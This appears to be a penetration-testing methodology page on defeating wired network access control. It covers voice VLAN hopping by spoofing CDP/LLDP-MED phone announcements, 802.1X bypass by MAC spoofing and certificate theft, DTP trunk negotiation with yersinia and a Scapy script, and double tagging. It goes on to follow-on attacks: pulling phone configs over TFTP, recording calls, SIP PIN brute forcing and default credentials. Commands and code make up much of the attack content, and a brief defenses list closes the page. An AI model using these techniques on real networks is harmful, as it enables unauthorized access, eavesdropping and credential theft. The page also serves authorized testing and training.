Network access control (NAC)
802.1X (and fallbacks like MAB) decides which VLAN and policy you get; CDP / LLDP / STP leak how the switch is wired.
VLAN discovery
Usually, switchports are configured as access ports, which only allow specific VLANs, but there are some protocols like CDP / LLDP / STP, which can advertise interesting VLAN ids. We can try to hop to these networks.
Passive discovery
Wireshark filters: cdp, lldp, stp.
tcpdump -ni eth0 -e ether[20:2]=0x2000 # Cisco CDP
tcpdump -ni eth0 ether proto 0x88cc # LLDP
tcpdump -ni eth0 stp # STP BPDU| Protocol | What leaks | Use |
|---|---|---|
| CDP | Neighbor, port, native VLAN, voice VLAN (Cisco) | Cisco access / voice |
| LLDP / LLDP-MED | Same + Network Policy (voice VLAN ID) | Multi-vendor, IP phones |
| STP | Root, topology, PVST+ VLAN in BPDU | Path / misconfig |
| DTP | Trunk negotiation | Rogue trunk, extra VLANs |
Identifying the voice VLAN
Voice is usually a dedicated VLAN (often tagged on the switch-phone trunk, untagged or separate access VLAN on the PC port). Do not assume the voice ID equals the data VLAN from DHCP on the PC.
- CDP (Cisco phone or switch neighbor)
- Capture on the switch-facing side of the phone (mirror) or any port sending CDP.
- Wireshark: expand Cisco Discovery Protocol, field Voice VLAN (AVVID / VoIP extensions; filter
cdpand search packet details). - Also note Native VLAN and Duplex. Voice is not the native VLAN in a typical voice + data trunk.
- LLDP-MED (most IP phones)
Network Policy TLV: Application Type = Voice (value 1); VLAN ID is the voice VLAN.
Wireshark filters:
textlldp.tlv.med.network_policy.application_type == 1 lldp.tlv.med.network_policy.vlan_idVoice Signaling (type 2) may share the same VLAN or a separate ID. Record both.
- From the phone itself
- Web UI (Network / VLAN): Administrative VLAN, Voice VLAN, PC port VLAN mode (
Single VLAN,Separate VLANs, etc.). - Cisco: often Auxiliary VLAN / Voice VLAN in status pages; PC port "Span to PC" / Cisco Unified port config.
- Traffic on the wire
- After the phone registers: 802.1Q-tagged RTP/SIP to the voice VLAN ID; untagged PC traffic may stay on access/data VLAN.
- DHCP: voice clients sometimes use Option 150 (TFTP) / 66, only visible after you are on the voice segment.
- OUI: Cisco
00:1A:2F..., Polycom, Yealink. Correlate with CDP/LLDP System Name / Chassis ID.
- PC port behavior (pivot check)
| PC port config | What the laptop often sees |
|---|---|
| Voice VLAN untagged to PC (misconfig) | DHCP on voice subnet without phone MAB on PC MAC |
| Access VLAN = data only | Corp/guest VLAN; voice only on phone trunk |
| Multi-host behind phone | Data VLAN without EAPOL on PC; voice still tagged phone-switch |
VLAN hopping via CDP/LLDP-MED spoofing
1a. Spoof CDP-MED announcing yourself as a phone
# Discovery mode: listen for CDP and identify voice VLAN
sudo voiphopper -i eth0 -c 0
# CDP spoof + create tagged interface on detected voice VLAN
sudo voiphopper -i eth0 -c 2What -c 2 does:
- Sniffs the switch's CDP for VoIP VLAN Reply TLV.
- Crafts an outbound CDP packet with TLVs that mimic a Cisco IP Phone:
- Device ID:
SEP+ a MAC that looks like Cisco phone OUI (00:1B:D4, 00:1E:F7, etc.) - Capabilities:
Host+Phone - Platform:
Cisco IP Phone 7960(or similar) - Software version: a plausible firmware string
- Power consumption (some switches gate the voice VLAN on PoE negotiation)
- Device ID:
- Creates an 802.1Q VLAN sub-interface (
eth0.<voice_vlan>). - DHCPs on it.
You'll see something like:
VoIP Hopper 2.04 Running in CDP Spoof mode
Discovered Voice VLAN: 200
Sending 1 CDP packet(s) to advertise IP Phone presence
VLAN Hop Successful
DHCP IP: 10.10.20.47/24, GW 10.10.20.11b. Spoof LLDP-MED announcing yourself as a phone
LLDP-MED is the vendor-neutral equivalent. Use lldpd in TX mode, or specialized tools:
# /etc/lldpd.d/phone.conf
configure system platform "Cisco IP Phone 8845"
configure system description "Cisco IP Phone 8845, Firmware 12.7"
configure med location elin "0000000000"
configure med policy application voice tagged vlan VOICE_VLAN_ID priority voice dscp 46And restart lldpd:
sudo systemctl restart lldpdOnce the switch processes the LLDP-MED Network Policy advertisement coming from you, some switches will:
- Add your MAC to the voice domain's permitted list.
- Echo back the Network Policy with the voice VLAN ID, confirming.
- For NAC-profiled deployments (ISE), profile you as an IP phone and apply the voice authorization policy automatically.
- Manually create the tagged VLAN interface
If voiphopper didn't do it, or you're using LLDP-MED:
sudo modprobe 8021q
sudo ip link add link eth0 name eth0.<NAME> type vlan id <VLAN_ID>
sudo ip link set eth0.<NAME> up
sudo dhclient -v eth0.<NAME>
# or static:
# sudo ip addr add 10.10.20.99/24 dev eth0.200
# sudo ip route add default via 10.10.20.1 dev eth0.200Now eth0 is your data VLAN interface (untagged) and eth0.<NAME> is your voice VLAN interface (tagged). Both can be live simultaneously on the same physical port.
Step 4: Bypassing 802.1X on the voice domain
Three flavors depending on config:
3a. No 802.1X on voice domain: done at Step 3. You're in.
3b. MAB on voice domain: sniff a phone's MAC (it's printed on the back of every Cisco phone, or sniffable from CDP Device ID = SEP<MAC>), spoof it before sending CDP/DHCP:
sudo ip link set eth0 down
sudo ip link set eth0 address 00:1b:d4:aa:bb:cc
sudo ip link set eth0 upThen re-run voiphopper or lldpd. Switch sees the "phone" MAC, MAB authorizes it, voice VLAN granted.
3c. EAP-TLS on voice domain: you need a phone cert. Either:
- Pull the cert from a real phone (many Cisco phones have weak/no protection on the LSC store; web admin or factory mode export).
- Compromise the CAPF (Certificate Authority Proxy Function) on CUCM, which signs phone certs. CAPF auth strings are sometimes trivial (
12345). - Skip and find a port without EAP-TLS on voice. These are common because not every phone fleet supports certs.
- Recon inside the voice VLAN
| Service | Port | What's there |
|---|---|---|
| TFTP | 69/udp | Phone config files (often SEP<MAC>.cnf.xml) with SIP creds, admin URLs, CUCM IPs |
| HTTP/HTTPS | 80/443/8080/8443 | CUCM admin, Unity Connection, phone web UI |
| SCCP (Skinny) | 2000/2443 | Cisco's proprietary VoIP signaling |
| SIP | 5060/5061 | Standard VoIP signaling |
| RTP | 16384-32767 | Active calls, sniffable if you ARP-spoof |
| SNMP | 161 | Phone & infra management, often public/private |
Step 6: Useful follow-on attacks once on voice VLAN
TFTP enumeration: pull
SEP<MAC>.cnf.xmlfor every phone on the network. Brute the MAC space or learn MACs from CDP/LLDP elsewhere.bashtftp 10.10.20.5 tftp> get SEP001BD4AABBCC.cnf.xmlThese configs frequently contain CCMUser auth URLs, CAPF info, and sometimes embedded creds.
VOMIT / RTP capture:
rtpbreak,wireshark"Telephony > RTP > RTP Streams > Analyze > Player" to record calls if you can position yourself on RTP paths (ARP spoofing inside the voice VLAN, since hubs/switches treat you like any host).SIP attacks:
sipvicious(svmap,svwar,svcrack) for enumeration and PIN/password brute force. Many extensions have1234voicemail PINs.Call Manager attacks: CUCM has a long history of CVEs (path traversal in CCMAdmin, default
applicationuser creds,ciscotac1accounts). Worth searching the IOS/CUCM version you fingerprinted.Phone exploitation: SSH/Telnet to phones, default creds (
cisco/cisco,Administrator/Cisco), web UI debug pages that dump call history, configs, and sometimes provide a "ping" or "traceroute" feature that's a command injection sink.
Workflow: if you captured and configured the voice VLAN, continue with host and service discovery on that subnet.
Tie-in
- CDP/LLDP: data, voice, guest, mgmt VLAN IDs.
- 802.1X: how each port class authenticates (host mode + EAP/MAB).
- Weakest path (voice PC port, multi-host, guest, MAB): scan reached subnet.
802.1X
802.1X is a port-based network access control (NAC): the switch is the authenticator, a supplicant on the endpoint (or phone) runs EAPOL, and RADIUS / NPS (often with AD) issues accept/reject and sometimes a VLAN assignment (RADIUS Tunnel-Private-Group-Id).
Port control (authenticator state)
| State | Meaning |
|---|---|
| Auto | Default: EAPOL required until success |
| Force authorized | 802.1X "on" but port open (lab / broken config) |
| Force unauthorized | Port stays blocked |
Host modes (who may send after auth)
Cisco and most enterprise switches implement host mode on access ports. This drives whether a second device (your laptop behind a phone) gets through.
| Host mode | Behavior | Pentest angle |
|---|---|---|
| Single-host | Only the first MAC that authenticates may use the port; others blocked | Unplug phone, auth yourself; or wait for timeout and race EAPOL |
| Multi-host | After one successful 802.1X, the port accepts any MAC (hub-like) | Plug into PC port behind an authed phone, often no 802.1X on PC |
| Multi-auth | Each MAC must authenticate (separate sessions) | PC may need its own PEAP/cert; phone and PC on different VLANs |
| Multi-domain (Cisco MDA) | Voice and data domains on the same physical port | Phone authenticates (802.1X / MAB) for voice; PC for data, identify both VLANs |
Authentication methods on the wire
| Method | Identity | Typical use |
|---|---|---|
| 802.1X + EAP | User/password (PEAP/TTLS), cert (TLS), PAC (FAST) | Laptops, workstations |
| MAB | MAC address | Phones, printers, cameras (no EAPOL) |
| 802.1X with MAB fallback | EAP first, then MAC if no EAPOL | Phones that delay EAPOL |
| Guest / failed-auth VLAN | None | Captive portal or isolated subnet |
| WebAuth / CWA | Browser login | Guest Wi-Fi; less common on wired |
User vs machine: Windows often does computer 802.1X (cert or PEAP) at boot, then user PEAP at logon. Stealing only the user password may not reproduce machine-auth VLANs (or vice versa).
EAP types (from EAPOL capture)
| EAP (outer) | Typical meaning |
|---|---|
| PEAP / EAP-TTLS | AD username/password (inner MSCHAPv2) |
| EAP-TLS | Client certificate |
| EAP-FAST | Cisco PAC provisioning |
| No EAPOL | MAB, open port, or auth on another device |
tcpdump -ni eth0 -e ether proto 0x888e # EAPOLWireshark: eapol or eth.type == 0x888e.
Bypassing 802.1X
| Situation | Approach |
|---|---|
| PEAP-MSCHAPv2 | hostapd-wpe, eaphammer, FreeRADIUS-WPE: capture and crack/relay |
| Stolen client cert | Import .pfx / profile; auth as that identity |
| Weak MAB | Spoof learned phone/printer MAC |
| Multi-host / open PC port | Connect behind authed phone without your own 802.1X |
| Guest VLAN | Map routing to corp (ACL mistakes, VPN, dual-homed hosts) |
| Voice VLAN hop | Use voice VLAN identification then scan the voice subnet. You might still need to spoof a specific phone MAC |
| DTP / double tagging | Trunk or nested tags, pair with VLAN discovery |
DTP Trunk negotiation
DTP is Cisco-proprietary, on by default on most older Cisco access ports unless explicitly disabled with switchport mode access + switchport nonegotiate. The default mode dynamic auto will accept a trunk if the neighbor asks for one. The default dynamic desirable will initiate one.
If you negotiate a trunk, you receive all VLANs allowed on the trunk (default = all), each as 802.1Q-tagged frames, and you can send into any of them.
Recon DTP availability:
sudo tcpdump -nn -i eth0 -s0 -v -e \
'ether dst 01:00:0c:cc:cc:cc and ether[20:2]=0x2004'DTP frames go to the same multicast as CDP (01:00:0c:cc:cc:cc) but with SNAP type 0x2004. If you see them, the port is in dynamic auto or dynamic desirable. If you see nothing for ~60s, DTP is off.
Negotiate a trunk with yersinia:
sudo yersinia -G # GTK GUI
# or interactive ncurses:
sudo yersinia -IIn the DTP section, choose "enabling trunking". Yersinia sends a DTP packet with:
- Domain: matching the switch's (or empty)
- Status:
Trunk - Type:
802.1Q(orISL) - Neighbor: a fake MAC
Within seconds the switch flips the port to trunking. You'll see CDP traffic from the switch advertising trunk parameters, and BPDUs for every VLAN.
CLI alternative with Scapy:
from scapy.all import *
from scapy.contrib.dtp import *
dtp = Ether(dst="01:00:0c:cc:cc:cc", src=RandMAC())/ \
LLC(dsap=0xaa, ssap=0xaa, ctrl=3)/ \
SNAP(OUI=0x0c, code=0x2004)/ \
DTP(tlvlist=[
DTPDomain(domain=b""),
DTPStatus(status=b"\x03"), # trunk
DTPType(type=b"\xa5"), # 802.1Q
DTPNeighbor(neighbor="aa:bb:cc:dd:ee:ff"),
])
sendp(dtp, iface="eth0", loop=1, inter=30)Discover allowed VLANs on the trunk: once it's a trunk, the switch sends BPDUs and CDP for each VLAN. Capture and enumerate:
sudo tcpdump -nn -i eth0 -e vlanYou'll see frames like vlan 1, vlan 10, vlan 100, vlan 200, vlan 999. Each one you see is an allowed VLAN.
Mount sub-interfaces on each VLAN you care about:
for v in 1 10 100 200 999; do
sudo ip link add link eth0 name eth0.$v type vlan id $v
sudo ip link set eth0.$v up
sudo dhclient -v eth0.$v &
doneYou're now simultaneously inside every VLAN the trunk allows: guest, data, voice, server, management. Whether you can route between them depends on inter-VLAN ACLs, but you usually find at least one with juicy stuff.
Native VLAN double-tagging is an old trick that occasionally still works on misconfigured switches where the native VLAN is not pruned. Send a frame with two 802.1Q tags: outer = native VLAN, inner = target VLAN. The first switch strips the outer (it matches native), forwards the frame on the trunk with the remaining inner tag, and the next switch delivers it to the target VLAN. One-way only (no replies), but useful for unauthenticated UDP attacks.
References
- HackTricks - VLAN hopping
- eaphammer
- Yersinia
- IEEE 802.1X (Microsoft wired access overview)
Defenses
switchport mode access+switchport nonegotiateon every access port.- Native VLAN set to an unused or guest network.
- VLAN pruning on trunks.
- Modern Catalyst dot1x integration disables DTP while unauthorized.